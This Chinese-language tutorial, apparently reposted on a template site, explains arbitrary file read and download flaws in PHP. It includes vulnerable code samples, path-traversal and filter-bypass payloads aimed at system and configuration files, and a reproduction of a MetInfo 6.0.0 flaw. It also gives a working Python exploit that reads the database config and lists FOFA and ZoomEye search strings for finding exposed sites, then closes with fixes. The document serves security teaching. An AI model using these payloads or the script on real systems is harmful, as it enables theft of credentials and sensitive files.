任意文件读取及漏洞复现

这篇具有很好参考价值的文章主要介绍了任意文件读取及漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

渗透测试漏洞原理

任意文件读取及漏洞复现,网络安全,安全,系统安全

任意文件读取

1. 任意文件读取概述

一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是源代码文件,配置文件,敏感文件等等。

  • 任意文件读取会造成(敏感)信息泄露:
  • 任意文件读取很多情况是由于其他漏洞引发的,如,RCE、目录遍历、文件包含等。
  • 任意文件读取与任意文件下载本质上没有区别,信息都是从服务端流向浏览器的。

任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。

1.1 漏洞成因

不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的:

  • 存在读取文件的功能(函数),也就是说,Wb应用开放了文件读取功能:
  • 读取文件的路径客户端可控,完全控制或影响文件路径参数:
  • 没有对文件路径进行校验或者校验不严导致校验被绕过,
  • 输出了文件的内容。

1.2 漏洞危害

下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。

可以配合其他漏洞,构成完整攻击链。对源代码文件进行代码审计,查找更多的漏洞。

任意文件读取与下载重点关注的文件:

  • 源代码
  • 配置文件
  • 敏感文件
  • 日志文件

1.3 漏洞分类

  • 任意文件读取
  • 任意文件下载

1.4 任意文件读取

以PHP脚本为例子,有一些函数可以实现文件读取功能。

1.4.1 文件读取
读取文件的函数 函数特点
readfile() 直接读取文件内容
自带输出功能
feed() 直接读取文件内容
需要输出读取内容
fread() 打开文件
计算文件大小
读取文件
输出文件
关闭文件

函数具体介绍:PHP: Hypertext Preprocessor。

实验环境在phpstudy的www目录下创建一个file-read目录,在目录中创建一下php文件。

readfile:

// readfile.php
<?php
    $fp = "../phpinfo.php"; 
    readfile($fp);
?>

任意文件读取及漏洞复现,网络安全,安全,系统安全

访问页面,查看页面源代码,读取成功。

任意文件读取及漏洞复现,网络安全,安全,系统安全

file_get_contents:

// file_get_contents.php
<?php
    $fp = "../phpinfo.php"; 
    echo file_get_contents($fp);
?>

任意文件读取及漏洞复现,网络安全,安全,系统安全

访问页面,查看页面源代码,读取成功。

任意文件读取及漏洞复现,网络安全,安全,系统安全

fread:

// fread.php
<?php
    $fp = "../phpinfo.php";

    $f = fopen($fp,'r');		//打开文件
    $f_size = filesize($fp); 	//计算文件大小
    echo fread($f, $f_size); 	//读取文件内容并输出到页面上
    fclose($f);
?>

任意文件读取及漏洞复现,网络安全,安全,系统安全

访问页面,查看页面源代码,读取成功。

任意文件读取及漏洞复现,网络安全,安全,系统安全

1.4.2 任意文件读取

变量$fp,会捕获GET方式传递过来的filepath参数。

$fp = @$_GET['filepath'];

任意文件读取及漏洞复现,网络安全,安全,系统安全

任意文件读取及漏洞复现,网络安全,安全,系统安全

filepath客户端可控,并且没有经过校验,会造成任意文件读取漏洞。

?filepath=index.php ?filepath=/etc/passwd
?filepath=c:\windows\system32\drivers\etc\hosts ?filepath=c:\phpstudy_2016\apache\conf\httpd.conf ?filepath=c:\phpstudy_2016\mysql\my.ini

?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php 
?filePath=../../../../../../../../windows\system32\drivers\etc\hosts 
?filePath=../../../../../../etc/hosts

任意文件读取及漏洞复现,网络安全,安全,系统安全

1.4.3 权限问题
  • Windows + IIS + ASP/ASPX:低权限
  • Windows + Apache + php:高权限
  • Windows + Java:高权限
  • Linux + Apache + PHP:低权限
  • Linux + Nginx + PHP:不一定
  • Linux + Java:高权限

1.5 任意文件下载

1.5.1 一般情况

直接下载:例如图片另存为。

a标签下载:

<a href = './a.jpg'>IMG Download</a>
1.5.2 PHP实现

PHP文件下载实现过程:

  • 先读取文件
  • 在输出文件
  • 提供下载
// file-download.php

<?php
    $fp = './a.jpg';
    header('Content-Type:image/jpg');
    header('Content-Disposition:attachment;fileName='.basename($fp));
    readfile($fp);
?>
1.5.3 任意文件下载

任意文件下载的条件:

  • 已知目标文件路径
  • 目标文件路径,客户端可控
  • 没有经过校验或校验不严格
$fp = $_GET['filepath'];

实验

<?php
    $fp = $_GET['filepath'];
    // header('Content-Type:image/jpg');
    header('Content-Disposition:attachment;fileName='.basename($fp));
    readfile($fp);
?>

任意文件读取及漏洞复现,网络安全,安全,系统安全

下载成功

任意文件读取及漏洞复现,网络安全,安全,系统安全

文件内容如下:
任意文件读取及漏洞复现,网络安全,安全,系统安全

2. 任意文件读取攻防

2.1 路径过滤

2.1.1 过滤…/
<?php
    $fp = @$_GET['filepath'];
    $fp = str_replace("../","",$fp); 
    readfile($fp);
?>

2.2 简单绕过

2.2.1 双写绕过
?filepath=..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts
2.2.2 绝对路径
?filepath=c:/windows\system32\drivers\etc\hosts
2.2.3 使用…\
?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts
2.2.4 设置白名单

设置只能访问a,b,cPHP文件

<?php
    $fp = @$_GET['filepath'];
    if($fp == 'a.php' or $fp == 'b.php' or $fp == 'c.php'){
        readfile($fp);
    }else{
        echo "Please stop!";
    }
?>

3. 任意文件读取挖掘

3.1 手工挖掘

从文件名上看 从参数名上看
readfile.php
filedownload.php
filelist.php
f=
file=
filepath=
fp=
readfile=
path=
readpath=
url=
menu=
META-INF=
WEB-INF=
content=

3.2 经典案例(metlnfo_6.0.0_file-read)

下载链接:MetInfo历史版本与文件。

说明 内容
漏洞编号
漏洞名称 MetInfo 6.0.0 任意文件读取漏洞
漏洞评级 高危
影响范围 MetInfo 6.0.0
漏洞描述 MetInfo 存在任意文件读取漏洞,攻击者利用该漏洞, 在具有权限的情况下,可以读取网站任意文件,包括配置文件等敏感文件。
修复方案 打补丁 升级 上设备
3.2.1 漏洞描述

MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 ~ 6.1.0 版本中的 /app/system/include/module/old_thumb.class.php 文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。

3.2.2 漏洞等级

高危

3.2.3 影响版本

MetInfo 6.0.0

3.2.4 漏洞复现

基础环境

组件 版本
OS Microsoft Windows Server 2016 Standard
Web Server phpStudy 2016
MetInfo 6.0.0

安装过程

任意文件读取及漏洞复现,网络安全,安全,系统安全

任意文件读取及漏洞复现,网络安全,安全,系统安全

访问页面

任意文件读取及漏洞复现,网络安全,安全,系统安全

漏洞点

/include/thumb.php

页面访问该路径

http://127.0.0.1/MetInfo_6.0.0/include/thumb.php

任意文件读取及漏洞复现,网络安全,安全,系统安全

使用bp抓包查看,bp是默认不抓图片的包,这里修改配置。

任意文件读取及漏洞复现,网络安全,安全,系统安全

将抓取到的数据包右键发送到重发器上。

任意文件读取及漏洞复现,网络安全,安全,系统安全

第一次测试

/include/thumb.php?dir=..././http/..././config/config_db.php

任意文件读取及漏洞复现,网络安全,安全,系统安全

第二次测试

/include/thumb.php?dir=.....///http/.....///config/config_db.php

任意文件读取及漏洞复现,网络安全,安全,系统安全

第三次测试

/include/thumb.php?dir=http/.....///.....///config/config_db.php

任意文件读取及漏洞复现,网络安全,安全,系统安全

第四次测试

/include/thumb.php?dir=http\..\..\config\config_db.php

任意文件读取及漏洞复现,网络安全,安全,系统安全

注意:

  • 此POC 仅适用于Windows 系统,Linux 下无效。
    • 因为输入的右斜线\在windows中作为目录的分隔符,而linux中不是。
3.2.5 漏洞点分析

漏洞点产生位置在thumb.php文件

任意文件读取及漏洞复现,网络安全,安全,系统安全

加载old_thumb类

任意文件读取及漏洞复现,网络安全,安全,系统安全

说明:这里的防守做两步判断

  • 将…/和./全部过滤为空。

  • if判断前四个字符必须是http,并且计算./的位置,也就是提交的dir变量中是否有./的出现,如果没有出现返回false。

  • readfile():任意文件读取函数

  • dir这个读取文件的路径客户端可控,但是不完全可控,限制可以被绕过。

3.2.6 深度利用

exp编写

import requests
import sys

banner = """
MetInfo 6.0.0
    ___________.__.__           __________                   .___
    \_   _____/|__|  |   ____   \______   \ ____ _____     __| _/
    |    __)  |  |  | _/ __ \   |       _// __ \\__  \   / __ | 
    |     \   |  |  |_\  ___/   |    |   \  ___/ / __ \_/ /_/ | 
    \___  /   |__|____/\___  >  |____|_  /\___  >____  /\____ | 
        \/                 \/          \/     \/     \/      \/ 
     
Usage: python3 *.py http://192.168.188.183/MetInfo_6.0.0/
"""

headers = {
    "User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}

dir_list = [
    "..././http/..././config/config_db.php",
    ".....///http/.....///config/config_db.php",
    "http/.....///.....///config/config_db.php",
    "http\..\..\config\config_db.php"
]

def attack(host):
    vul = "/include/thumb.php"
    url = host + vul

    res = requests.get(url = url, headers = headers)

    if res.status_code != 200:
        print(f"[INFO] {vul} is Not Exists!")
        exit()

    print(f"[INFO] {vul} is Exists!")

    for param in dir_list:
        params = {
            "dir":  param 
        }

        res = requests.get(url = url, params = params, headers = headers)

        print(f"[INFO] Test URL: {res.url}")

        if "<?php" in res.text:
            print("[RESULT] The target is vulnreable!")
            print(f"[RESULT]\n{res.text}")
            break

if len(sys.argv) < 2:
    print(banner)
    exit()

host = sys.argv[1]

attack(host = host)

任意文件读取及漏洞复现,网络安全,安全,系统安全

漏洞挖掘

指纹信息

传统搜索引擎

Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"

FOFA

app="metinfo"

ZoomEye

app:"MetInfo"
app:"MetInfo"+os:"Windows"
3.2.7 修复建议
  • 打补丁
  • 升级
  • 上设备

4. 漏洞修复方案

4.1 输入验证

  • 让web用户只能访问(读取),所需要的文件和路径。

4.2 避免其他漏洞

  • 不能有文件包含漏洞,目录遍历漏洞或其他漏洞。

4.3 限定文件的访问范围

让用户不能访问Web根目录以外的路径。

php.ini配置文件中,可以通过选项open_basedir来限定文件访问的范围

open_basedir = C:\software\phpstudy_pro\WWW

任意文件读取及漏洞复现,网络安全,安全,系统安全

实验

不做限定的情况:

任意文件读取及漏洞复现,网络安全,安全,系统安全

做限定的情况:

任意文件读取及漏洞复现,网络安全,安全,系统安全

但是这样还有读取到当前的配置文件。

任意文件读取及漏洞复现,网络安全,安全,系统安全

解决方式:所有的修复方案需要配合使用。文章来源地址https://www.toymoban.com/news/detail-697534.html

到了这里,关于任意文件读取及漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 任意文件读取和漏洞复现

    一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是漂代码文件,配置文件,敏感文件等等。 任意文件读取会造成(敏感)信息泄露: 任意文件读取大多数情况是由于其他

    2024年02月09日
    浏览(44)
  • 【漏洞复现】OfficeWeb365 Indexs 任意文件读取漏洞

    OfficeWeb365 /Pic/Indexs接口处存在任意文件读取漏洞,攻击者可通过独特的加密方式对payload进行加密,读取任意文件,获取服务器敏感信息,使系统处于极不安全的状态。 FOFA:body=\\\"请输入furl参数\\\" || header=\\\"OfficeWeb365\\\" || banner=\\\"OfficeWeb365\\\" 读取文件加密方式

    2024年02月02日
    浏览(49)
  • Jenkins CLI 任意文件读取漏洞复现

    Jenkins CLI 是 Jenkins 内置的命令行页面。 Jenkins 受影响版本中使用 args4j 库解析CLI命令参数,该库默认将参数中 @ 字符后的文件路径替换为文件内容,未授权的攻击者可利用该特性使用 Jenkins 控制器进程的默认字符编码读取 Jenkins 控制器文件系统上的任意文件(如加密密钥的二进

    2024年02月22日
    浏览(53)
  • OfficeWeb365 Indexs 任意文件读取漏洞复现

    OfficeWeb365 是专注于 Office 文档在线预览及PDF文档在线预览云服务,包括 Microsoft Word 文档在线预览、Excel 表格在线预览、Powerpoint 演示文档在线预览,WPS 文字处理、WPS 表格、WPS 演示及 Adobe PDF 文档在线预览。 OfficeWeb365 /Pic/Indexs接口处存在任意文件读取漏洞,攻击者可通过独特

    2024年02月03日
    浏览(40)
  • 漏洞复现-Yearning front 任意文件读取漏洞(附漏洞检测脚本)

    文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担

    2024年01月18日
    浏览(41)
  • Metinfo6.0.0任意文件读取漏洞复现

    漏洞原理 在MetInfo6.0.0appsystemincludemodule的old_thumb.class.php文件 可以看到这里对./进行了严格的过滤,但是却忽略了在Windows下还可以用…来跳转目录 环境搭建 下载Metinfo6.0.0 配置随便写,自己记住就行 这里前面已经审计过代码了,就直接上payload了 http://10.9.75.161/MetInfo6.0.0

    2024年02月10日
    浏览(34)
  • Metinfo6.0.0任意文件读取【漏洞复现】

    1.1、漏洞描述 漏洞名称:MetInfo任意文件读取 漏洞简介:MetInfo是一套使用PHP和MySQL开发的内容管理系统,其中的 /app/system/include/module/old_thumb.class.php 文件存在任意文件读取漏洞,攻击者可利用该漏洞读取网站的敏感文件。 下载地址:历史版本安装文件下载 Ver_6.0.0 1.2、漏洞等

    2024年02月10日
    浏览(45)
  • metinfo_6.0.0 任意文件读取漏洞复现

    漏洞点为/include/thumb.php 一测: /include/thumb.php?dir=..././http/..././config/config_db.php 二测: /include/thumb.php?dir=.....///http/.....///config/config_db.php 三测: /include/thumb.php?dir=http/.....///.....///config/config_db.php 四测: /include/thumb.php?dir=http....configconfig_db.php 注意: 此POC 仅适用于Windows 系统

    2024年01月20日
    浏览(49)
  • 用友NC word.docx 任意文件读取漏洞复现

     用友NC是一款企业级ERP软件。作为一种信息化管理工具,用友NC提供了一系列业务管理模块,包括财务会计、采购管理、销售管理、物料管理、生产计划和人力资源管理等,帮助企业实现数字化转型和高效管理。 用友NC 系统word.docx等接口存在任意文件读取漏洞,未经身份认证

    2024年01月25日
    浏览(33)
  • officeWeb365 Indexs接口存在任意文件读取漏洞复现

    OfficeWeb365 是专注于 Office 文档在线预览及PDF文档在线预览云服务,包括 Microsoft Word 文档在线预览、Excel 表格在线预览、Powerpoint 演示文档在线预览,WPS 文字处理、WPS 表格、WPS 演示及 Adobe PDF 文档在线预览。OfficeWeb365 /Pic/Indexs接口处存在任意文件读取漏洞,攻击者可通过独特

    2024年02月20日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包